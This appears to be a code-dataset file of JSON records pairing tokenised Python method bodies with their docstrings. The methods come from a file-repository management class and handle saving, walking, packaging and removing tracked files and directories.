{"signature": "def remove_repository(self, path=None, removeEmptyDirs=True):", "body": "assert isinstance(removeEmptyDirs, bool), \"<STR_LIT>\"<EOL>if path is not None:<EOL><INDENT>if path != self.__path:<EOL><INDENT>repo = Repository()<EOL>repo.load_repository(path)<EOL><DEDENT>else:<EOL><INDENT>repo = self<EOL><DEDENT><DEDENT>else:<EOL><INDENT>repo = self<EOL><DEDENT>assert repo.path is not None, \"<STR_LIT>\"<EOL>for fdict in reversed(repo.get_repository_state()):<EOL><INDENT>relaPath   = list(fdict)[<NUM_LIT:0>]<EOL>realPath   = os.path.join(repo.path, relaPath)<EOL>path, name = os.path.split(realPath)<EOL>if fdict[relaPath]['<STR_LIT:type>'] == '<STR_LIT:file>':<EOL><INDENT>if os.path.isfile(realPath):<EOL><INDENT>os.remove(realPath)<EOL><DEDENT>if os.path.isfile(os.path.join(repo.path,path,self.__fileInfo%name)):<EOL><INDENT>os.remove(os.path.join(repo.path,path,self.__fileInfo%name))<EOL><DEDENT>if os.path.isfile(os.path.join(repo.path,path,self.__fileLock%name)):<EOL><INDENT>os.remove(os.path.join(repo.path,path,self.__fileLock%name))<EOL><DEDENT>if os.path.isfile(os.path.join(repo.path,path,self.__fileClass%name)):<EOL><INDENT>os.remove(os.path.join(repo.path,path,self.__fileClass%name))<EOL><DEDENT><DEDENT>elif fdict[relaPath]['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>if os.path.isfile(os.path.join(realPath,self.__dirInfo)):<EOL><INDENT>os.remove(os.path.join(realPath,self.__dirInfo))<EOL><DEDENT>if os.path.isfile(os.path.join(realPath,self.__dirLock)):<EOL><INDENT>os.remove(os.path.join(realPath,self.__dirLock))<EOL><DEDENT>if not len(os.listdir(realPath)) and removeEmptyDirs:<EOL><INDENT>shutil.rmtree( realPath )<EOL><DEDENT><DEDENT><DEDENT>if os.path.isfile(os.path.join(repo.path,self.__repoFile)):<EOL><INDENT>os.remove(os.path.join(repo.path,self.__repoFile))<EOL><DEDENT>if os.path.isfile(os.path.join(repo.path,self.__repoLock)):<EOL><INDENT>os.remove(os.path.join(repo.path,self.__repoLock))<EOL><DEDENT>", "docstring": "Remove all repository from path along with all repository tracked files.\n\n:Parameters:\n    #. path (None, string): The path the repository to remove.\n    #. removeEmptyDirs (boolean): Whether to remove remaining empty\n       directories.", "id": "f13917:c1:m20"}
{"signature": "@path_required<EOL><INDENT>def save(self, description=None, raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>if description is not None:<EOL><INDENT>assert isinstance(description, basestring), \"<STR_LIT>\"<EOL><DEDENT>dirInfoPath = os.path.join(self.__path, self.__dirInfo)<EOL>if description is None and not os.path.isfile(dirInfoPath):<EOL><INDENT>description = '<STR_LIT>'<EOL><DEDENT>LR =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(self.__path, self.__repoLock))<EOL>acquired, code = LR.acquire_lock()<EOL>m = \"<STR_LIT>\"%(code,)<EOL>if not acquired:<EOL><INDENT>assert not raiseError, Exception(m)<EOL>return False, m<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>try:<EOL><INDENT>repoInfoPath = os.path.join(self.__path, self.__repoFile)<EOL>error = None<EOL>self.__save_dirinfo(description=description, dirInfoPath=dirInfoPath)<EOL>if os.path.isfile(repoInfoPath):<EOL><INDENT>with open(repoInfoPath, '<STR_LIT:rb>') as fd:<EOL><INDENT>repo = self.__load_repository_pickle_file(os.path.join(self.__path, self.__repoFile))<EOL>self.__repo['<STR_LIT>'] = repo['<STR_LIT>']<EOL><DEDENT><DEDENT>with open(repoInfoPath, '<STR_LIT:wb>') as fd:<EOL><INDENT>self.__repo[\"<STR_LIT>\"] = time.time()<EOL>pickle.dump( self.__repo,fd, protocol=self._DEFAULT_PICKLE_PROTOCOL )<EOL>fd.flush()<EOL>os.fsync(fd.fileno())<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>error = \"<STR_LIT>\"%err<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>LR.release_lock()<EOL>assert error is None or not raiseError, error<EOL>return error is None, error<EOL>", "docstring": "Save repository '.pyreprepo' to disk and create (if missing) or\nupdate (if description is not None) '.pyrepdirinfo'.\n\n:Parameters:\n    #. description (None, str): Repository main directory information.\n       If given will be replaced.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. success (bool): Whether saving was successful.\n    #. error (None, string): Fail to save repository message in case\n       saving is not successful. If success is True, error will be None.", "id": "f13917:c1:m21"}
{"signature": "def is_name_allowed(self, path):", "body": "assert isinstance(path, basestring), \"<STR_LIT>\"<EOL>name = os.path.basename(path)<EOL>if not len(name):<EOL><INDENT>return False, \"<STR_LIT>\"<EOL><DEDENT>for em in [self.__repoLock,self.__repoFile,self.__dirInfo,self.__dirLock]:<EOL><INDENT>if name == em:<EOL><INDENT>return False, \"<STR_LIT>\"%em<EOL><DEDENT><DEDENT>for pm in [self.__fileInfo,self.__fileLock]:<EOL><INDENT>if name == pm or (name.endswith(pm[<NUM_LIT:3>:]) and name.startswith('<STR_LIT:.>')):<EOL><INDENT>return False, \"<STR_LIT>\"%pm<EOL><DEDENT><DEDENT>return True, None<EOL>", "docstring": "Get whether creating a file or a directory from the basenane of the given\npath is allowed\n\n:Parameters:\n    #. path (str): The absolute or relative path or simply the file\n       or directory name.\n\n:Returns:\n    #. allowed (bool): Whether name is allowed.\n    #. message (None, str): Reason for the name to be forbidden.", "id": "f13917:c1:m22"}
{"signature": "def to_repo_relative_path(self, path, split=False):", "body": "path = os.path.normpath(path)<EOL>if path == '<STR_LIT:.>':<EOL><INDENT>path = '<STR_LIT>'<EOL><DEDENT>path = path.split(self.__path)[-<NUM_LIT:1>].strip(os.sep)<EOL>if split:<EOL><INDENT>return path.split(os.sep)<EOL><DEDENT>else:<EOL><INDENT>return path<EOL><DEDENT>", "docstring": "Given a path, return relative path to diretory\n\n:Parameters:\n    #. path (str): Path as a string\n    #. split (boolean): Whether to split path to its components\n\n:Returns:\n    #. relativePath (str, list): Relative path as a string or as a list\n       of components if split is True", "id": "f13917:c1:m23"}
{"signature": "@path_required<EOL><INDENT>def get_repository_state(self, relaPath=None):<DEDENT>", "body": "state = []<EOL>def _walk_dir(relaPath, dirList):<EOL><INDENT>dirDict = {'<STR_LIT:type>':'<STR_LIT>',<EOL>'<STR_LIT>':os.path.isdir(os.path.join(self.__path,relaPath)),<EOL>'<STR_LIT>':os.path.isfile(os.path.join(self.__path,relaPath,self.__dirInfo)),<EOL>}<EOL>state.append({relaPath:dirDict})<EOL>for fname in sorted([f for f in dirList if isinstance(f, basestring)]):<EOL><INDENT>relaFilePath = os.path.join(relaPath,fname)<EOL>realFilePath = os.path.join(self.__path,relaFilePath)<EOL>fileDict = {'<STR_LIT:type>':'<STR_LIT:file>',<EOL>'<STR_LIT>':os.path.isfile(realFilePath),<EOL>'<STR_LIT>':os.path.isfile(os.path.join(self.__path,relaPath,self.__fileInfo%fname)),<EOL>}<EOL>state.append({relaFilePath:fileDict})<EOL><DEDENT>for ddict in sorted([d for d in dirList if isinstance(d, dict)], key=lambda k: list(k)[<NUM_LIT:0>]):<EOL><INDENT>dirname = list(ddict)[<NUM_LIT:0>]<EOL>_walk_dir(relaPath=os.path.join(relaPath,dirname), dirList=ddict[dirname])<EOL><DEDENT><DEDENT>if relaPath is None:<EOL><INDENT>_walk_dir(relaPath='<STR_LIT>', dirList=self.__repo['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>assert isinstance(relaPath, basestring), \"<STR_LIT>\"<EOL>relaPath = self.to_repo_relative_path(path=relaPath, split=False)<EOL>spath    = relaPath.split(os.sep)<EOL>dirList  = self.__repo['<STR_LIT>']<EOL>while len(spath):<EOL><INDENT>dirname = spath.pop(<NUM_LIT:0>)<EOL>dList   = [d for d in dirList if isinstance(d, dict)]<EOL>if not len(dList):<EOL><INDENT>dirList = None<EOL>break<EOL><DEDENT>cDict = [d for d in dList if dirname in d]<EOL>if not len(cDict):<EOL><INDENT>dirList = None<EOL>break<EOL><DEDENT>dirList = cDict[<NUM_LIT:0>][dirname]<EOL><DEDENT>if dirList is not None:<EOL><INDENT>_walk_dir(relaPath=relaPath, dirList=dirList)<EOL><DEDENT><DEDENT>return state<EOL>", "docstring": "Get a list representation of repository state along with useful\ninformation. List state is ordered relativeley to directories level\n\n:Parameters:\n    #. relaPath (None, str): relative directory path from where to\n       start. If None all repository representation is returned.\n\n:Returns:\n    #. state (list): List representation of the repository.\n       List items are all dictionaries. Every dictionary has a single\n       key which is the file or the directory name and the value is a\n       dictionary of information including:\n\n           * 'type': the type of the tracked whether it's file, dir, or objectdir\n           * 'exists': whether file or directory actually exists on disk\n           * 'pyrepfileinfo': In case of a file or an objectdir whether .%s_pyrepfileinfo exists\n           * 'pyrepdirinfo': In case of a directory whether .pyrepdirinfo exists", "id": "f13917:c1:m24"}
{"signature": "def get_repository_directory(self, relativePath):", "body": "return copy.deepcopy(self.__get_repository_directory(relativePath))<EOL>", "docstring": "Get repository directory list copy.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path .\n\n:Returns:\n    #. dirList (None, list): List of directories and files in repository\n       directory. If directory is not tracked in repository None is\n       returned", "id": "f13917:c1:m25"}
{"signature": "def get_file_info(self, relativePath):", "body": "relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>fileName     = os.path.basename(relativePath)<EOL>isRepoFile,fileOnDisk, infoOnDisk, classOnDisk = self.is_repository_file(relativePath)<EOL>if not isRepoFile:<EOL><INDENT>return None, \"<STR_LIT>\"<EOL><DEDENT>if not infoOnDisk:<EOL><INDENT>return None, \"<STR_LIT>\"<EOL><DEDENT>fileInfoPath = os.path.join(self.__path,os.path.dirname(relativePath),self.__fileInfo%fileName)<EOL>try:<EOL><INDENT>with open(fileInfoPath, '<STR_LIT:rb>') as fd:<EOL><INDENT>info = pickle.load(fd)<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>return None, \"<STR_LIT>\"%str(err)<EOL><DEDENT>return info, '<STR_LIT>'<EOL>", "docstring": "Get file information dict from the repository given its relative path.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of\n       the file.\n\n:Returns:\n    #. info (None, dictionary): The file information dictionary.\n       If None, it means an error has occurred.\n    #. errorMessage (string): The error message if any error occurred.", "id": "f13917:c1:m26"}
{"signature": "def is_repository_directory(self, relativePath):", "body": "return self.__get_repository_directory(relativePath) is not None<EOL>", "docstring": "Get whether directory is registered in repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path.\n\n:Returns:\n    #. result (boolean): Whether directory is tracked and registered.", "id": "f13917:c1:m27"}
{"signature": "def is_repository_file(self, relativePath):", "body": "relativePath  = self.to_repo_relative_path(path=relativePath, split=False)<EOL>if relativePath == '<STR_LIT>':<EOL><INDENT>return False, False, False, False<EOL><DEDENT>relaDir, name = os.path.split(relativePath)<EOL>fileOnDisk    = os.path.isfile(os.path.join(self.__path, relativePath))<EOL>infoOnDisk    = os.path.isfile(os.path.join(self.__path,os.path.dirname(relativePath),self.__fileInfo%name))<EOL>classOnDisk   = os.path.isfile(os.path.join(self.__path,os.path.dirname(relativePath),self.__fileClass%name))<EOL>cDir          = self.__repo['<STR_LIT>']<EOL>if len(relaDir):<EOL><INDENT>for dirname in relaDir.split(os.sep):<EOL><INDENT>dList = [d for d in cDir if isinstance(d, dict)]<EOL>if not len(dList):<EOL><INDENT>cDir = None<EOL>break<EOL><DEDENT>cDict = [d for d in dList if dirname in d]<EOL>if not len(cDict):<EOL><INDENT>cDir = None<EOL>break<EOL><DEDENT>cDir = cDict[<NUM_LIT:0>][dirname]<EOL><DEDENT><DEDENT>if cDir is None:<EOL><INDENT>return False, fileOnDisk, infoOnDisk, classOnDisk<EOL><DEDENT>if str(name) not in [str(i) for i in cDir]:<EOL><INDENT>return False, fileOnDisk, infoOnDisk, classOnDisk<EOL><DEDENT>return True, fileOnDisk, infoOnDisk, classOnDisk<EOL>", "docstring": "Check whether a given relative path is a repository file path\n\n:Parameters:\n    #. relativePath (string): File relative path\n\n:Returns:\n    #. isRepoFile (boolean): Whether file is a repository file.\n    #. isFileOnDisk (boolean): Whether file is found on disk.\n    #. isFileInfoOnDisk (boolean): Whether file info is found on disk.\n    #. isFileClassOnDisk (boolean): Whether file class is found on disk.", "id": "f13917:c1:m28"}
{"signature": "@path_required<EOL><INDENT>def walk_files_path(self, relativePath=\"<STR_LIT>\", fullPath=False, recursive=False):<DEDENT>", "body": "assert isinstance(fullPath, bool), \"<STR_LIT>\"<EOL>assert isinstance(recursive, bool), \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>dirList      = self.__get_repository_directory(relativePath=relativePath)<EOL>assert dirList is not None, \"<STR_LIT>\"%relativePath<EOL>def _walk(rpath, dlist,recursive):<EOL><INDENT>for fname in dlist:<EOL><INDENT>if isinstance(fname, basestring):<EOL><INDENT>if fullPath:<EOL><INDENT>yield os.path.join(self.__path, rpath, fname)<EOL><DEDENT>else:<EOL><INDENT>yield os.path.join(rpath, fname)<EOL><DEDENT><DEDENT><DEDENT>if recursive:<EOL><INDENT>for ddict in dlist:<EOL><INDENT>if isinstance(ddict, dict):<EOL><INDENT>dname = list(ddict)[<NUM_LIT:0>]<EOL>for p in _walk(rpath=os.path.join(rpath,dname), dlist=ddict[dname],recursive=recursive):<EOL><INDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return _walk(rpath=relativePath, dlist=dirList, recursive=recursive)<EOL>", "docstring": "Walk the repository relative path and yield file relative/full path.\n\n:parameters:\n    #. relativePath (string): The relative path from which start the walk.\n    #. fullPath (boolean): Whether to return full or relative path.\n    #. recursive (boolean): Whether walk all directories files recursively", "id": "f13917:c1:m29"}
{"signature": "def walk_files_info(self, relativePath=\"<STR_LIT>\", fullPath=False, recursive=False):", "body": "assert isinstance(fullPath, bool), \"<STR_LIT>\"<EOL>assert isinstance(recursive, bool), \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>for relaPath in self.walk_files_path(relativePath=relativePath, fullPath=False, recursive=recursive):<EOL><INDENT>fpath, fname = os.path.split(relaPath)<EOL>fileInfoPath = os.path.join(self.__path,fpath,self.__fileInfo%fname)<EOL>if os.path.isfile(fileInfoPath):<EOL><INDENT>with open(fileInfoPath, '<STR_LIT:rb>') as fd:<EOL><INDENT>info = pickle.load(fd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>info = None<EOL><DEDENT>if fullPath:<EOL><INDENT>yield (os.path.join(self.__path, relaPath), info)<EOL><DEDENT>else:<EOL><INDENT>yield (relaPath, info)<EOL><DEDENT><DEDENT>", "docstring": "Walk the repository relative path and yield tuple of two items where\nfirst item is file relative/full path and second item is file info.\nIf file info is not found on disk, second item will be None.\n\n:parameters:\n    #. relativePath (string): The relative path from which start the walk.\n    #. fullPath (boolean): Whether to return full or relative path.\n    #. recursive (boolean): Whether walk all directories files recursively", "id": "f13917:c1:m30"}
{"signature": "def walk_directories_path(self, relativePath=\"<STR_LIT>\", fullPath=False, recursive=False):", "body": "assert isinstance(fullPath, bool), \"<STR_LIT>\"<EOL>assert isinstance(recursive, bool), \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>dirList      = self.__get_repository_directory(relativePath=relativePath)<EOL>assert dirList is not None, \"<STR_LIT>\"%relativePath<EOL>def _walk(rpath, dlist,recursive):<EOL><INDENT>for ddict in dlist:<EOL><INDENT>if isinstance(ddict, dict):<EOL><INDENT>dname = list(ddict)[<NUM_LIT:0>]<EOL>if fullPath:<EOL><INDENT>yield os.path.join(self.__path, rpath, dname)<EOL><DEDENT>else:<EOL><INDENT>yield os.path.join(rpath, dname)<EOL><DEDENT><DEDENT><DEDENT>if recursive:<EOL><INDENT>for ddict in dlist:<EOL><INDENT>if isinstance(ddict, dict):<EOL><INDENT>dname = list(ddict)[<NUM_LIT:0>]<EOL>for p in _walk(rpath=os.path.join(rpath,dname), dlist=ddict[dname],recursive=recursive):<EOL><INDENT>yield p<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return _walk(rpath=relativePath, dlist=dirList, recursive=recursive)<EOL>", "docstring": "Walk repository relative path and yield directory relative/full path\n\n:parameters:\n    #. relativePath (string): The relative path from which start the walk.\n    #. fullPath (boolean): Whether to return full or relative path.\n    #. recursive (boolean): Whether walk all directories files recursively.", "id": "f13917:c1:m31"}
{"signature": "def walk_directories_info(self, relativePath=\"<STR_LIT>\", fullPath=False, recursive=False):", "body": "assert isinstance(fullPath, bool), \"<STR_LIT>\"<EOL>assert isinstance(recursive, bool), \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>for dpath in self.walk_directories_path(relativePath=relativePath, fullPath=False, recursive=recursive):<EOL><INDENT>dirInfoPath = os.path.join(self.__path,dpath,self.__dirInfo)<EOL>if os.path.isfile(dirInfoPath):<EOL><INDENT>with open(dirInfoPath, '<STR_LIT:rb>') as fd:<EOL><INDENT>info = pickle.load(fd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>info = None<EOL><DEDENT>if fullPath:<EOL><INDENT>yield (os.path.join(self.__path, dpath), info)<EOL><DEDENT>else:<EOL><INDENT>yield (dpath, info)<EOL><DEDENT><DEDENT>", "docstring": "Walk the repository relative path and yield tuple of two items where\nfirst item is directory relative/full path and second item is directory\ninfo. If directory file info is not found on disk, second item will be None.\n\n:parameters:\n    #. relativePath (string): The relative path from which start the walk.\n    #. fullPath (boolean): Whether to return full or relative path.\n    #. recursive (boolean): Whether walk all directories files recursively.", "id": "f13917:c1:m32"}
{"signature": "@path_required<EOL><INDENT>def create_package(self, path=None, name=None, mode=None):<DEDENT>", "body": "<EOL>assert mode in (None, '<STR_LIT:w>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'), '<STR_LIT>'%str(mode)<EOL>if mode is None:<EOL><INDENT>mode = '<STR_LIT>'<EOL><DEDENT>if path is None:<EOL><INDENT>root = os.path.split(self.__path)[<NUM_LIT:0>]<EOL><DEDENT>elif path.strip() in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>root = os.getcwd()<EOL><DEDENT>else:<EOL><INDENT>root = os.path.realpath( os.path.expanduser(path) )<EOL><DEDENT>assert os.path.isdir(root), '<STR_LIT>'%path<EOL>if name is None:<EOL><INDENT>ext = mode.split(\"<STR_LIT::>\")<EOL>if len(ext) == <NUM_LIT:2>:<EOL><INDENT>if len(ext[<NUM_LIT:1>]):<EOL><INDENT>ext = \"<STR_LIT:.>\"+ext[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>ext = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ext = '<STR_LIT>'<EOL><DEDENT>name = os.path.split(self.__path)[<NUM_LIT:1>]+ext<EOL><DEDENT>tarfilePath = os.path.join(root, name)<EOL>try:<EOL><INDENT>tarHandler = tarfile.TarFile.open(tarfilePath, mode=mode)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise Exception(\"<STR_LIT>\"%e)<EOL><DEDENT>for dpath in sorted(list(self.walk_directories_path(recursive=True))):<EOL><INDENT>t = tarfile.TarInfo( dpath )<EOL>t.type = tarfile.DIRTYPE<EOL>tarHandler.addfile(t)<EOL>tarHandler.add(os.path.join(self.__path,dpath,self.__dirInfo), arcname=self.__dirInfo)<EOL><DEDENT>for fpath in self.walk_files_path(recursive=True):<EOL><INDENT>relaPath, fname = os.path.split(fpath)<EOL>tarHandler.add(os.path.join(self.__path,fpath), arcname=fname)<EOL>tarHandler.add(os.path.join(self.__path,relaPath,self.__fileInfo%fname), arcname=self.__fileInfo%fname)<EOL>tarHandler.add(os.path.join(self.__path,relaPath,self.__fileClass%fname), arcname=self.__fileClass%fname)<EOL><DEDENT>tarHandler.add(os.path.join(self.__path,self.__repoFile), arcname=\"<STR_LIT>\")<EOL>tarHandler.close()<EOL>", "docstring": "Create a tar file package of all the repository files and directories.\nOnly files and directories that are tracked in the repository\nare stored in the package tar file.\n\n**N.B. On some systems packaging requires root permissions.**\n\n:Parameters:\n    #. path (None, string): The real absolute path where to create the\n       package. If None, it will be created in the same directory as\n       the repository. If '.' or an empty string is passed, the current\n       working directory will be used.\n    #. name (None, string): The name to give to the package file\n       If None, the package directory name will be used with the\n       appropriate extension added.\n    #. mode (None, string): The writing mode of the tarfile.\n       If None, automatically the best compression mode will be chose.\n       Available modes are ('w', 'w:', 'w:gz', 'w:bz2')", "id": "f13917:c1:m33"}
{"signature": "@path_required<EOL><INDENT>def add_directory(self, relativePath, description=None, clean=False,<EOL>raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(relativePath, basestring), \"<STR_LIT>\"<EOL>if description is not None:<EOL><INDENT>assert isinstance(description, basestring), \"<STR_LIT>\"<EOL><DEDENT>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>path = self.to_repo_relative_path(path=relativePath, split=False)<EOL>if self.is_repository_directory(path):<EOL><INDENT>return True, \"<STR_LIT>\"<EOL><DEDENT>allowed, reason = self.is_name_allowed(path)<EOL>if not allowed:<EOL><INDENT>if raiseError:<EOL><INDENT>raise Exception(reason)<EOL><DEDENT>return False, reason<EOL><DEDENT>LR =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(self.__path, self.__repoLock))<EOL>acquired, code = LR.acquire_lock()<EOL>if not acquired:<EOL><INDENT>m = \"<STR_LIT>\"%(code,)<EOL>if raiseError:<EOL><INDENT>raise Exception(m)<EOL><DEDENT>return False,m<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>try:<EOL><INDENT>repo = self.__load_repository_pickle_file(os.path.join(self.__path, self.__repoFile))<EOL>self.__repo['<STR_LIT>'] = repo['<STR_LIT>']<EOL><DEDENT>except Exception as err:<EOL><INDENT>error = str(err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>error = None<EOL>break<EOL><DEDENT><DEDENT>if error is not None:<EOL><INDENT>_ = LR.release_lock()<EOL>assert not raiseError, Exception(error)<EOL>return False, error<EOL><DEDENT>error   = None<EOL>posList = self.__repo['<STR_LIT>']<EOL>dirPath = self.__path<EOL>spath   = path.split(os.sep)<EOL>for idx, name in enumerate(spath):<EOL><INDENT>LD =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(dirPath, self.__dirLock))<EOL>acquired, code = LD.acquire_lock()<EOL>if not acquired:<EOL><INDENT>error = \"<STR_LIT>\"%(code,dirPath)<EOL>break<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>try:<EOL><INDENT>dirPath = os.path.join(dirPath, name)<EOL>riPath  = os.path.join(dirPath, self.__dirInfo)<EOL>dList   = [d for d in posList if isinstance(d, dict)]<EOL>dList   = [d for d in dList if name in d]<EOL>if not len(dList) and clean and os.path.exists(dirPath):<EOL><INDENT>try:<EOL><INDENT>shutil.rmtree( dirPath, ignore_errors=True )<EOL><DEDENT>except Exception as err:<EOL><INDENT>error = \"<STR_LIT>\"%(dirPath, err)<EOL>break<EOL><DEDENT><DEDENT>if not os.path.exists(dirPath):<EOL><INDENT>try:<EOL><INDENT>os.mkdir(dirPath)<EOL><DEDENT>except Exception as err:<EOL><INDENT>error = \"<STR_LIT>\"%(dirPath, err)<EOL>break<EOL><DEDENT><DEDENT>self.__save_dirinfo(description=[None, description][idx==len(spath)-<NUM_LIT:1>],<EOL>dirInfoPath=riPath, create=True)<EOL>if not len(dList):<EOL><INDENT>rsd = {name:[]}<EOL>posList.append(rsd)<EOL>posList = rsd[name]<EOL><DEDENT>else:<EOL><INDENT>assert len(dList) == <NUM_LIT:1>, \"<STR_LIT>\"<EOL>posList = dList[<NUM_LIT:0>][name]<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>LD.release_lock()<EOL>error = \"<STR_LIT>\"%(dirPath, str(err))<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>LD.release_lock()<EOL>break<EOL><DEDENT><DEDENT>if error is not None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if error is None:<EOL><INDENT>try:<EOL><INDENT>_, error = self.__save_repository_pickle_file(lockFirst=False, raiseError=False)<EOL><DEDENT>except Exception as err:<EOL><INDENT>error = str(err)<EOL>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>LD.release_lock()<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>LR.release_lock()<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>assert error is None or not raiseError, error<EOL>return error is None, error<EOL>", "docstring": "Add a directory in the repository and creates its attribute in the\nRepository with utc timestamp. It insures adding all the missing\ndirectories in the path.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path to\n       where directory must be added.\n    #. description (None, string): Any random description about the\n       added directory.\n    #. clean (boolean): Whether to remove existing non repository\n       tracked files and folders in all created directory chain tree.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. success (boolean): Whether adding the directory was successful.\n    #. message (None, string): Reason why directory was not added or\n       random information.", "id": "f13917:c1:m34"}
{"signature": "def get_repository_parent_directory(self, relativePath):", "body": "return copy.deepcopy(self.__get_repository_parent_directory(relativePath))<EOL>", "docstring": "Get repository parent directory list copy.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path .\n\n:Returns:\n    #. dirList (None, list): List of directories and files in repository\n       parent directory. If directory is not tracked in repository\n       None is returned", "id": "f13917:c1:m35"}
{"signature": "@path_required<EOL><INDENT>def remove_directory(self, relativePath, clean=False, raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(clean, bool), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>parentPath, dirName = os.path.split(relativePath)<EOL>if relativePath == '<STR_LIT>':<EOL><INDENT>return False, \"<STR_LIT>\"<EOL><DEDENT>if not self.is_repository_directory(relativePath):<EOL><INDENT>return False, \"<STR_LIT>\"%relativePath<EOL><DEDENT>realPath = os.path.join(self.__path,relativePath)<EOL>if not os.path.isdir(realPath):<EOL><INDENT>error = \"<STR_LIT>\"<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>LD =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(self.__path,parentPath,self.__dirLock))<EOL>acquired, code = LD.acquire_lock()<EOL>if not acquired:<EOL><INDENT>error = \"<STR_LIT>\"%(code,realPath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>LR =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(self.__path, self.__repoLock))<EOL>acquired, code = LR.acquire_lock()<EOL>if not acquired:<EOL><INDENT>LD.release_lock()<EOL>m = \"<STR_LIT>\"%(code,)<EOL>assert raiseError,  Exception(m)<EOL>return False,m<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>error = None<EOL>try:<EOL><INDENT>dirList = self.__get_repository_parent_directory(relativePath=relativePath)<EOL>assert dirList is not None, \"<STR_LIT>\"%(relativePath,)<EOL>stateBefore = self.get_repository_state(relaPath=parentPath)<EOL>_files = [f for f in dirList if isinstance(f, basestring)]<EOL>_dirs  = [d for d in dirList if isinstance(d, dict)]<EOL>_dirs  = [d for d in dirList if dirName not in d]<EOL>_ = [dirList.pop(<NUM_LIT:0>) for _ in range(len(dirList))]<EOL>dirList.extend(_files)<EOL>dirList.extend(_dirs)<EOL>if clean:<EOL><INDENT>shutil.rmtree(realPath)<EOL><DEDENT>else:<EOL><INDENT>stateAfter = self.get_repository_state(relaPath=parentPath)<EOL>success, errors = self.__clean_before_after(stateBefore=stateBefore, stateAfter=stateAfter, keepNoneEmptyDirectory=True)<EOL>assert success, \"<STR_LIT:\\n>\".join(errors)<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>error = str(err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, 